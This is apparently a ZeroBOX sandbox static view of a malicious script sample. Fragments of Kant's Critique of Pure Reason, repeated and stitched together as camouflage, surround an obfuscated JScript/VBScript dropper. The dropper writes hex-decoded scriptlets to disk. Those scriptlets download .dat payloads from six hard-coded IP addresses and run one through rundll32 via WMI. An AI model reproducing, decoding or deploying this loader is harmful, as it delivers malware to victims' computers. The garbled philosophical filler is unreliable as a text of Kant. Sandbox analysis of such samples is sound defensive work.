Static | ZeroBOX

pearances that demand explanation, and do we, in accordance with these ideas, have to seek only the principles or rules of their exposition? Even if we suppose the whole of nature to be spread out before us, and that of all that is presented to our intuition nothing is concealed from our senses and consciousness, yet still through no experience could the object of our ideas be known by us in concreto. For that purpose, in addition to this exhaustive intuition, we should require what is not possible through any empirical knowledge, namely, a completed synthesis and the consciousness of its absolute totality. Accordingly our question does not require to be raised in the explanation of any given appearance, and is therefore not a question which can be regarded as imposed on us by the object itself. The object can never come before us, since it cannot be given through any possible experience are we enquiring what can be given in concreto in any experience. Our sole question is as to what lies in the idea, to whic

Since the idea is a mere creature of reason, reason cannot disclaim its responsibility and saddle it upon the unknown object.

It is not so extraordinary as at first seems the case, that a science should be in a position to demand and expect none but assured answers to all the questions within its domain (quaestiones domesticae), although up to the present they have perhaps not been found. In addition to transcendental philosophy, they have been divested of all empirical features, although only in connection therewith can their full splendour be displayed. But in this empirical application, and in the progressive extension of the employment of reason, philosophy, beginning with the field of our experiences and steadily soaring to these lofty ideas, displays a dignity and worth such that, could it but make good its pretensions, it would leave all other human science far behind. For it promises a secure foundation for our highest expectations in respect of those ultimate ends towards which all the endeavours of reason must ultimately converge.

Whether the world has a beginning [in time] and any limit to its extension in space; whether there is anywhere, and perhaps in my thinking self, an indivisible and indestructible unity, or nothing but what is divisible and transitory; whether I am free in my actions or, like other beings, am led by the hand of nature and of fate; whether finally there is a supreme cause of the world, or whether the things of nature and their order must as the ultimate object terminate thought

an object that even in our speculations can never be transcended: these are questions for the solution of which the mathematician would gladly exchange the whole of his science. For mathematics can yield no satisfaction in regard to those highest ends that most closely concern humanity. And yet the very dignity of mathematics (that pride of human reason) rests upon this, that it guides reason to knowledge of nature in its order and regularity

alike in what is great in it and in what is small

and in the extraordinary unity of its moving forces, thus rising to a degree of insight far beyond what any philosophy based on ordinary experience would lead us to expect; and so gives occasion and encouragement to an employment of reason that is extended beyond all experience, and at the same time supplies it with the most excellent materials for supporting its investigations

so far as the character of these permits

by appropriate intuitions.

Unfortunately for speculation, though fortunately perhaps for the practical interests of reason.

The contrast between the teaching of Epicurus and that of Plato is of this nature.

Each of the two types of philosophy says more than it knows. The former encourages and furthers knowledge, though to the prejudice of the practical; the latter supplies excellent practical principles, there is no need to fear that it will ever pass the limits of the Schools, and acquire any considerable influence in the general life or any real favour among the multitude.

Human reason is by nature architectonic. That is to say, it regards all our knowledge as belonging to a possible system, and therefore allows only such principles as do not at any rate make it impossible for any knowledge that we may attain to combine into a system with other knowledge. But the propositions of the antithesis are of such a kind that they render the completion of the edifice of knowledge quite impossible. They maintain that there is always to be found beyond every state of the world a more ancient state, in every part yet other parts similarly divisible, prior to every event still another event which itself again is likewise generated, and that in existence in general everything is conditioned, an unconditioned and first existence being nowhere discernible. Since, therefore, the antithesis thus refuses to admit as first or as a beginning anything that could serve as a foundation for building, a complete edifice of knowledge is, on such assumptions, altogether impossible. Thus the architectonic

the demand not for empirical but for pure a priori unity of reason

forms a natural recommendation for the assertions of the thesis.

If men could free themselves from all such interests, and consider the assertions of reason irrespective of their consequences, solely in view of the intrinsic force of their grounds, and were the only way of escape from their perplexities to give adhesion to one or other of the opposing parties, their state would be one of continuous vacillation. To-day it would be their conviction that the human will is free; tomorrow, dwelling in reflection upon the indissoluble chain of nature, they would hold that freedom is nothing but self-deception, that everything is simply nature. If, however, they were summoned to action, this play of the merely speculative reason would, like a dream, at once cease, and they would choose their principles exclusively in accordance with practical interests. Since, however, it is fitting that a reflective and enquiring being should devote a certain amount of time to the examination of his own reason, entirely divesting himself of all partiality and openly submitting his observations t

THE ABSOLUTE NECESSITY OF A SOLUTION OF THE TRANSCENDENTAL PROBLEMS OF PURE REASON

To profess to solve all problems and to answer all questions would be impudent boasting, and would argue such extravagant self-conceit as at once to forfeit all confidence. Nevertheless there are sciences the very nature of which requires that every question arising within their domain should be completely answerable in terms of what is known, inasmuch as the answer must issue from the same sources from which the question proceeds. In these sciences it is not permissible to plead unavoidable ignorance; the solution can be demanded.

We must be able, in every possible case, in accordance with a rule, to know what is right and what is wrong, since this concerns our obligation, and we have no obligation to that which we cannot know. In the explanation of natural appearances, on the other hand, much must remain uncertain and many questions insoluble, because what we know of nature is by no means sufficient, in all cases, to account for what has to be explained. The question, therefore, is whether in transcendental philosophy is unique in the whole field of speculative knowledge, in that no question which concerns an object given to pure reason can be insoluble for this same human reason, and that no excuse of an unavoidable ignorance, or of the problem's unfathomable depth, can release us from the obligation to answer it thoroughly and completely. That very concept which puts us in a position to ask the question must also qualify us to answer it, since, as in the case of right and wrong, the object is not to be met with outside the concept.

In transcendental philosophy, however, the only questions to which we have the right to demand a sufficient answer bearing on the constitution of the object, and from answering which the philosopher is not permitted to excuse himself on the plea of their impenetrable obscurity, are the cosmological.

These questions [bearing on the constitution of the object] must refer exclusively to cosmological ideas. For the object must be given empirically, the question being only as to its conformity to an idea. If, on the other hand, there is endless conjecture, and certainty is not to be counted upon. For the natural appearances are objects which are given to us independently of our concepts, and the key to them lies not in us and our pure thinking, but outside us; and therefore in many cases, since the key is not to be found, an assured solution is not to be expected. I am not, of course, here referring to those questions of the Transcendental Analytic which concern the deduction of our pure knowledge; we are at present treating only of the certainty of judgments with respect to their objects and not with respect to the source of our concepts themselves.

The obligation of an at least critical solution of the questions which reason thus propounds to itself, we cannot, therefore, escape by complaints of the narrow limits of our reason, and by confessing, under the pretext of a humility based on self-knowledge, that it is beyond the power of our reason to determine whether the world exists from eternity or has a beginning; whether cosmical space is filled with beings to infinitude, or is enclosed within certain limits; whether anything in the world is simple, or everything such as to be infinitely divisible; whether there is generation and production through freedom, or whether everything depends on the chain of events in the natural order; and finally whether there exists any being completely unconditioned and necessary in itself, or whether everything is conditioned in its existence and therefore dependent on external things and itself contingent. All these questions refer to an object which can be found nowhere save in our thoughts, namely, to the absolutely

These pseudo-rational assertions are so many attempts to solve four natural and unavoidable problems of reason. There are just so many, neither more nor fewer, owing to the fact that there are just four series of synthetic presuppositions which impose a priori limitations on the empirical synthesis.

The proud pretensions of reason, when it strives to extend its domain beyond all limits of experience, we have represented only in dry formulas that contain merely the ground of their legal claims. As befits a transcendental philosophy, they have been divested of all empirical features, although only in connection therewith can their full splendour be displayed. But in this empirical application, and in the progressive extension of the employment of reason, philosophy, beginning with the field of our experiences and steadily soaring to these lofty ideas, displays a dignity and worth such that, could it but make good its pretensions, it would leave all other human science far behind. For it promises a secure foundation for our highest expectations in respect of those ultimate ends towards which all the endeavours of reason must ultimately converge.

alike in what is great in it and in what is small

so far as the character of these permits

by appropriate intuitions.

Unfortunately for speculation, though fortunately perhaps for the practical interests of humanity, reason, in the midst of its highest expectations, finds itself so compromised by the conflict of opposing arguments, that neither its honour nor its security allows it to withdraw and treat the quarrel with indifference as a mere mock fight; and still less is it in a position to command peace, being itself directly interested in the matters in dispute. Accordingly, nothing remains for reason save to consider whether the origin of this conflict, whereby it is divided against itself, may not have arisen from a mere misunderstanding. In such an enquiry both parties, per chance, may have to sacrifice proud claims; but a lasting and peaceful reign of reason over understanding and the senses would thereby be inaugurated.

For the present we shall defer this thorough enquiry, in order first of all to consider

function aIObie1rwqmBng0(ai9dA4CsUYJekzL)

var aMCb8HZVSAmWe = new Date();

var aHDXegSCu5U = null;

aHDXegSCu5U = new Date();

while(aHDXegSCu5U - aMCb8HZVSAmWe < ai9dA4CsUYJekzL);

function a0wIDzCjTOPBJ(am64JROewxIqsP3rU, a2SzZvK8YRnQlgA7H)

var a7UuVeKkjxQ = new ActiveXObject("scripting.filesystemobject");

var alerj9CiG = a7UuVeKkjxQ.CreateTextFile(am64JROewxIqsP3rU, true);

alerj9CiG.Write(a2SzZvK8YRnQlgA7H);

alerj9CiG.Close();

function ar4fUbzGiOtu(amRgzL9A5yowtUQ)

var aBDMwjfYIOz6r0 = "";

for(var i = 0; i < amRgzL9A5yowtUQ.length; i += 2)

var v = parseInt(amRgzL9A5yowtUQ.substr(i, 2), 16);

if (v) aBDMwjfYIOz6r0 += String.fromCharCode(v);

return aBDMwjfYIOz6r0;

aGP7JeBgbmrF = 65148;

var awY7IEz0XvVO = false;

a7suSOnb85CJ = 1818;

var asFaX08Ec9IRL = false;

var aYpKWBhzLyVxoM5 = 21012;

var amqvpLGfc618hE = 8254;

auacYh7rE9H = 39726;

var aZ6ody4mc71rezM = "aR47sCTzwLbdOB";

var afImAGUhkMx = "afUdzVPnpC";

auyBi5FmScYaKrU = afImAGUhkMx.toLowerCase();

aElmNAy0rgLthCP = true;

aA8nB0U5DSIjdax = "aF9BlHc1efP";

var aHJ7O1seoy04xWM5N = aA8nB0U5DSIjdax.toString();

ajfsSKFiXPhY = false;

var auNUdsjLJcefmbR = true;

avSWcUOyC26 = false;

var aR6UvxS19 = false;

a3ST5EzDO7 = -59358;

aJHYyVW3Cr2pNh = 31215;

var aT7qEp5XY = "aw2NQSPzr";

a4b2TMF1cvKSyY = aT7qEp5XY.toLowerCase();

var aT7SQjcp3iVuHy2ev = -12217;

var aEFQCR1js = "arscw8t7qzIKOb";

var adFnMp7WPQKsH9N = aEFQCR1js.toLowerCase();

asjGNB5fQhHuOUga = 61278;

var aM4jZ3gynfx = 3351;

a0Jz71nqKVImlQ = "atwjqKbN8JhryOu2";

a1VRn2cwZqyKWD8P = a0Jz71nqKVImlQ.length;

var ak4FJ5i0SDehU8YA = false;

var aoESUsgZGHb = 6828;

aKogUzSAWmda7nvI2 = true;

var aRjoBqmkW64C = -42898;

var aHdPjUsxwLh2 = 27916;

a4dUn2RvOtk9VEl = "aDwLXQ51bYF7jv";

as02keoluJQTSYWv = a4dUn2RvOtk9VEl.toLowerCase();

aAPyf8mHIkl = 41646;

var aY4hsTaRZ76VguLcw = true;

var aBOxNAyKnI4dqcD = false;

ad9DsmMiG2zrBY3ha = 2128;

aQdp7vjZMGxuXw5 = "aSB7cPYifTQ48Htu";

var aRio8a0PVqW = aQdp7vjZMGxuXw5.toString();

var aj6qYCHgQiJrtUsn = "agVAy5kz0";

var a6aOMtWPgxAdG = aj6qYCHgQiJrtUsn.toString();

var aKJZGWpMix9vF0jw = -14052;

var aI2lBiae6yMmcsFtw = true;

var aOCf74U32BdmrtX = "afHYXBJmpQqb";

aShQvmp5F = aOCf74U32BdmrtX.toString();

var a4hSPJwpdu3bXjoM7 = -33917;

var aqicU6XJY = true;

aJIGS9jwF3VuN = "aepX3TPgxt7s";

var a7hARfX8Nw = aJIGS9jwF3VuN.length;

aYfmqh1y6xbMiue = "aYv5cFbTBnQ3";

var avrIDqeakxRcw = aYfmqh1y6xbMiue.length;

var azbqimvGMDk = "awUxnHjf8saG7IcC0";

a14LW9SOoQ = azbqimvGMDk.toLowerCase();

aBREMo2b8SO3TJ = true;

var a6FDAQ53zk = "a8RAefCBorJUF2W4";

var aSpZFfYl9 = a6FDAQ53zk.toString();

var a60dsotJj = "aa68uxYzp1";

var a0bQBhRdwvK3O1 = a60dsotJj.toString();

var aTntUBKDa4wV = false;

var acZgpjDLeVr7A = 14158;

var aFzZUEGe5Pt9nrM = true;

var afbBV8nSFCP = "aOGpyo1wgS";

var aLyPDN7Ts4lG653x = afbBV8nSFCP.toLowerCase();

var a3vlcaDPi = "ab8HiTCd64yI";

aPxBd36TG20rFLw = a3vlcaDPi.toUpperCase();

a5mWP4ZVLKkeT0Yj = "aKomeVYhIrtG45";

var auXk91ndMaE = a5mWP4ZVLKkeT0Yj.toLowerCase();

axVD3zdyn = "aOheY2Q9bWtljqV5I";

arLcVZ6AmE = axVD3zdyn.toLowerCase();

var a6NJhx04fSlBo = "3c3f786d6c2076657273696f6e3d22312e30223f3e0d0a3c7061636b6167653e0d0a3c636f6d706f6e656e742069643d227331223e0d0a3c736372697074206c616e67756167653d224a536372697074223e0d0a3c215b43444154415b0d0a0d0a097661722075203d2022687474703a2f2f34352e3135352e33372e3130312f613368644a4739706a2e6461742c687474703a2f2f352e34322e3232312e3134342f613368644a4739706a2e6461742c687474703a2f2f39312e3139332e31362e3133392f613368644a4739706a2e6461742c687474703a2f2f3134342e3230382e3132372e3234322f613368644a4739706a2e6461742c687474703a2f2f3230372e3134382e31342e3130352f613368644a4739706a2e6461742c687474703a2f2f3134392e3130322e3232352e31382f613368644a4739706a2e646174222e73706c697428222c22293b0d0a0d0a09666f722869203d20303b2069203c20752e6c656e6774683b20692b2b290d0a097b0d0a09097472790d0a09097b0d0a0909097661722068747470203d206e657720416374697665584f626a65637428226d6963726f736f66742e786d6c6874747022293b0d0a090909687474702e6f70656e2822474554222c20755b695d2c2066616c7365293b0d0a090909687474702e73656e6428293b0d0a0d0a09090969662868747

var aPnwr3MmGTFc = true;

aC2eJHmKqlkjgI = 40799;

var ahBkfUlxHmi6Dnu = true;

aSKvMYsFJ4qm = "aZH8JPfyeMIQpt13u";

var aT9MQC0ibupjmAFkE = aSKvMYsFJ4qm.length;

var a9KqkWOlgx5RuFn = "az2En4idM6jXabcQY";

ak7qYwfTL = a9KqkWOlgx5RuFn.toLowerCase();

avKrawQRS = -17022;

aqRdZb7kr3 = "aY3qc0VBu5dfNGUAz";

var aV7v1kp5GTsdgbHif = true;

var amW6fCJ5yKIuk7qRw = true;

aLoeRYwN4g0ED = 39790;

var aZJ3uoNCL = 16341;

arkNAWiPfh5G = -26298;

azIljhbEvPV = true;

var a6B0PM9GzYWQJAes = "a16x0fG58bDz";

aYfNFE3V4sB = a6B0PM9GzYWQJAes.toLowerCase();

aavn9FYMAZ582 = 40156;

var aSMHdErkg = false;

aTgv7BL5EC = "ao47TjXECQc5";

var aElmC9NBajznGoL = false;

alcr7Y2iZdR = "apeLKNIJbljv5AnUC";

var azsCoPT9hN7fJ = "aMUP5X2rn";

aAF0aJdrLYu = azsCoPT9hN7fJ.toString();

a09CEfkgsnyHj8 = "a7H9KGE4oxOpAr";

a1xMz32cTp5 = a09CEfkgsnyHj8.toLowerCase();

var anz2FutfkQasNhMl = false;

var alaU47jLu = -14199;

aEH5e6l4IGyJa3d = -6705;

aAYHqOZFDRKLQ8C = 5967;

var aoxvrXd3BEDHJ = true;

var a4SRcwUboi8PCaI = true;

a2vELYcCjZr970 = "aIGqPOj3Kf0o9DQ";

var acD7WZXmNJ = a2vELYcCjZr970.toLowerCase();

a8rOnahI9S0J = 5431;

a0qrtcslHPUMIY = false;

var agU8qIwQ9L5ey = "alnGSYvp9i0qXcCeA";

var aFE7hNqUomrYcM = agU8qIwQ9L5ey.length;

var aDxCgwI21hY4KjcUa = "akitaCAB4vSFh";

var aP60Fam3CfJZM5WIj = "aOxnUCKva";

asAPlS2iIHp5 = aP60Fam3CfJZM5WIj.length;

aqh0uYjdNp7zReC = 43226;

ajFLrIogC4HMB2 = -36908;

var a82T3Dwrh = -34222;

apL8dfDy4eqCUj = false;

var awqfLTSbv = false;

aGwmSKhLVxcI0z71O = "aUKRnbJwZFg7mCv";

var ayRNIMcmPC = true;

a1e6Y9H8rk = 43898;

aAe6zjhf5NEnIOZC = true;

aoWqJEA7gn = 38777;

aFkqBjp3QfLur = "aHa9I0JzETB";

aRvdHMPE5p = true;

var aAltVugfG = -32138;

var aBiQHVGuWYUsl = 16568;

var aJ9OahHfF6e4mq = 40887;

var alFPDWBt0 = true;

var aDNRSdYctVW = -59778;

aReE2KZy6nph1H = "apQdajrZuNTO5";

aq2ryuYfzSp3 = aReE2KZy6nph1H.toString();

var asMcAQXbVKUJgp = -12584;

var aIsC2dgDGY = -38592;

afVSXDNU9qro = 41548;

var azfMGaHYck = true;

aaXZRSvAm = -2628;

var a4eIXNBFi = -7665;

var awj4ztAspS53aBkx = -2682;

axHO5BypQq3Wi6SF = "aaChHfGJcIubMFV";

var arHvcqV2MwUabm6Z = axHO5BypQq3Wi6SF.toLowerCase();

var a9zWjL3tsJ4ENepk = "axB2fgRWS1kv";

var aaytk3brGiIjF = a9zWjL3tsJ4ENepk.toString();

a9lhJzT4Xuvyj5I6 = "aS3ByvUcqs5";

var aqZhnCgOBmEa = 2068;

aR7D4sQibk = "aFVtdbBvc4CYTK0";

aC7VM6grphR3onev = aR7D4sQibk.length;

var anaGjQsDFU8i = "3c3f786d6c2076657273696f6e3d22312e30223f3e0d0a3c7061636b6167653e0d0a3c636f6d706f6e656e742069643d227332223e0d0a3c736372697074206c616e67756167653d225642536372697074223e0d0a3c215b43444154415b0d0a0d0a095365742070726f63657373203d204765744f626a656374282277696e6d676d74733a7b696d706572736f6e6174696f6e4c6576656c3d696d706572736f6e6174657d2157696e33325f50726f6365737322290d0a0d0a5d5d3e0d0a3c2f7363726970743e0d0a0d0a3c736372697074206c616e67756167653d224a536372697074223e0d0a3c215b43444154415b0d0a0d0a0966756e6374696f6e20726576657273652873290d0a097b0d0a090972657475726e20732e73706c6974282222292e7265766572736528292e6a6f696e282222293b0d0a097d0d0a0d0a0970726f636573732e4372656174652822636f6e686f73742e6578652072756e646c6c333220433a5c5c55736572735c5c5075626c69635c5c6152346c496b433536742e6461742c7072696e7422293b0d0a0d0a5d5d3e0d0a3c2f7363726970743e0d0a3c2f636f6d706f6e656e743e0d0a3c2f7061636b6167653e0d0a";

</script>

Function asRO0SxhUFkzJ(aeAm1Wsd2pK80)

GetObject(aeAm1Wsd2pK80)

End Function

Call a0wIDzCjTOPBJ("C:\ProgramData\a6NJhx04fSlBo.txt", ar4fUbzGiOtu(a6NJhx04fSlBo))

Call a0wIDzCjTOPBJ("C:\ProgramData\anaGjQsDFU8i.txt", ar4fUbzGiOtu(anaGjQsDFU8i))

aTBet0l9O = ar4fUbzGiOtu(StrReverse("c516471644d6162776f62705c5a334f2f2a354c49464a3470796273637"))

</script>

a4JAx9mfF3 = "aAdVg4oPWrG01p";

aznGCFTRw = a4JAx9mfF3.toLowerCase();

aBrWn45V0lx1iOjXk = "avaqO3UD1QlIp8c";

aTWI1nPe9qaclySu = aBrWn45V0lx1iOjXk.length;

var a8qZzTS12OIhMo = 1814;

aTKpRnxqsAkEf3O = true;

adfTFyv01UlN = 18942;

afJql3Ibt6Uc8oR = true;

var aEVuZUqSc3d7OFb = "aRMuAsQwg3DE1";

var aEG3SHsCx0J6Bew = aEVuZUqSc3d7OFb.toLowerCase();

var aXdH7APlNmes = "aI5RtlOnD";

agA5TMYNaScdP = "akext43D9AZVUfKhI";

aCqmc0QP9npUI = agA5TMYNaScdP.length;

var aJ8jvrfhP = 38781;

axJZoigL219KSj = -41138;

var a5QwRN1OW = "aoDcIPGVJlU59AO1";

var anJQKI0oRZcM = a5QwRN1OW.toLowerCase();

aAN7DUEdjvu = "a60foWTkgJ";

aQEpOjgiUCvl = aAN7DUEdjvu.length;

ahdiBzrmCA6S = -20186;

azlNXZmhV82gfHr = false;

aKrpAQjyEUgInPa = -44420;

ay6uZqXYEC9 = 32157;

var aYtByflIUT = false;

aHo81GtLn23k = "aDqhnkfPriGoN";

var a42mpjRaYlgHeTXh = aHo81GtLn23k.toString();

aD3ztLwnSR = false;

aXSmTQd9awy3LbJD6 = 37416;

var aBDVPKCZH = 22779;

abUF7PhQS = true;

atMw7Qur20yhpI = "a9xgvCGU0pPKsI";

axLBaHRDF = atMw7Qur20yhpI.length;

abnLm9uoAOEH = true;

aFbuWSaTYkfUyt1RO = "aaJ3hAcNjVvD";

aGI0V7KlYgf1oib = aFbuWSaTYkfUyt1RO.toLowerCase();

var aq0xNRIpyhKOno6Z7 = -21812;

a4eH7wjhtTCPQyWM = "aXhO2I8AHoy";

var alz3nRiW6w1qbFL = a4eH7wjhtTCPQyWM.toString();

ahfSgmwkWbYP = false;

a6bqXFWJpQO2UHv = -29960;

var aOMym9J3injv8K0Zz = 6573;

arqL9mEFQG3onPCc = "aeQjd9Vw7";

var aDoZ1dy2MUg5 = arqL9mEFQG3onPCc.toString();

var aoirCacMBwb = -331;

var aH5GEyIqr164R = false;

aDSximwoVBTrag = "aS3TUB7RVh9s8N";

var auQ3NdwGjAtLYkZbr = 13100;

var aSpDzIQ1CH = -10340;

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ce nor an infinite composition can ever come before us. Appearances demand explanation only so far as the conditions of their explanation are given in perception; but all that may ever be given in this way, when taken together in an absolute whole, is not itself a perception. Yet it is just the explanation of this very whole that is demanded in the transcendental problems of reason.

Thus the solution of these problems can never be found in experience, and this is precisely the reason why we should not say that it is uncertain what should be ascribed to the object, and that while we do indeed have a concept sufficient to raise a question, we are entirely lacking in materials or power to answer the same.

Now I maintain that transcendental philosophy is unique in the whole field of speculative knowledge, in that no question which concerns an object given to pure reason can be insoluble for this same human reason, and that no excuse of an unavoidable ignorance, or of the problem's unfathomable depth, can release us from the obligation to answer it thoroughly and completely. That very concept which puts us in a position to ask the question must also qualify us to answer it, since, as in the case of right and wrong, the object is not to be met with outside the concept.

These pseudo-rational assertions, may perhaps rest on an empty and merely fictitious concept of the manner in which the object of these ideas is given to us; and this suspicion may set us on the right path for laying bare the illusion which has so long led us astray.

TRANSCENDENTAL IDEALISM AS THE KEY TO THE SOLUTION OF THE COSMOLOGICAL DIALECTIC

We have sufficiently proved in the Transcendental Aesthetic that everything intuited in space or time, and therefore all objects of any experience possible to us, are nothing but appearances, that is, mere representations, which, if not given in us -that is to say, in perception

are nowhere to be met with.

The faculty of sensible intuition is strictly only a receptivity, a capacity of being affected in a certain manner with representations, the relation of which to one another is a pure intuition of space and of time (mere forms of our sensibility), and which, in so far as they are contained in the series of the empirical regress. Only in another sort of relation, when these appearances would be used for the cosmological idea of an absolute whole, and when, therefore, we are dealing with a question which oversteps the limits of possible experience, does distinction of the mode in which we view the reality of those objects of the senses become of importance, as serving to guard us against a deceptive error which is bound to arise if we misinterpret our empirical concepts.

CRITICAL SOLUTION OF THE COSMOLOGICAL QUESTIONS IN THE FOUR TRANSCENDENTAL IDEAS

We should of ourselves desist from the demand that our questions be answered dogmatically, if from the start we understood that whatever the dogmatic answer might turn out to be it would only increase our ignorance, and cast us from one inconceivability into another, from one obscurity into another still greater, and perhaps even into contradictions. If our question is directed simply to a yes or no, we are well advised to leave aside the supposed grounds of the answer, and first consider what we should gain according as the answer is in the affirmative or in the negative. Should we then find that in both cases the outcome is mere nonsense, there will be good reason for instituting a critical examination of our question, to determine whether this unconditioned is to be located in an absolute beginning of synthesis, or in an absolute totality of a series that has no beginning.

In its empirical meaning, the term 'whole' is always only comparative. The absolute whole of quantity (the universe), the whole of division, of derivation, of the condition of existence in general, with all questions as to whether it is brought about through finite synthesis or through a synthesis requiring infinite extension, have nothing to do with any possible experience.

We should not, for instance, in any wise be able to explain the appearances of a body better, or even differently, in assuming that it consisted either of simple or of inexhaustibly composite parts; for neither a simple appearance nor an infinite composition can ever come before us. Appearances demand explanation only so far as the conditions of their explanation are given in perception; but all that may ever be given in this way, when taken together in an absolute whole, is not itself a perception. Yet it is just the explanation of this very whole that is demanded in the transcendental problems of reason.

In transcendental philosophy, they have been divested of all empirical features, although only in connection therewith can their full splendour be displayed. But in this empirical application, and in the progressive extension of the employment of reason, philosophy, beginning with the field of our experiences and steadily soaring to these lofty ideas, displays a dignity and worth such that, could it but make good its pretensions, it would leave all other human science far behind. For it promises a secure foundation for our highest expectations in respect of those ultimate ends towards which all the endeavours of reason must ultimately converge.

Whether the world has a beginning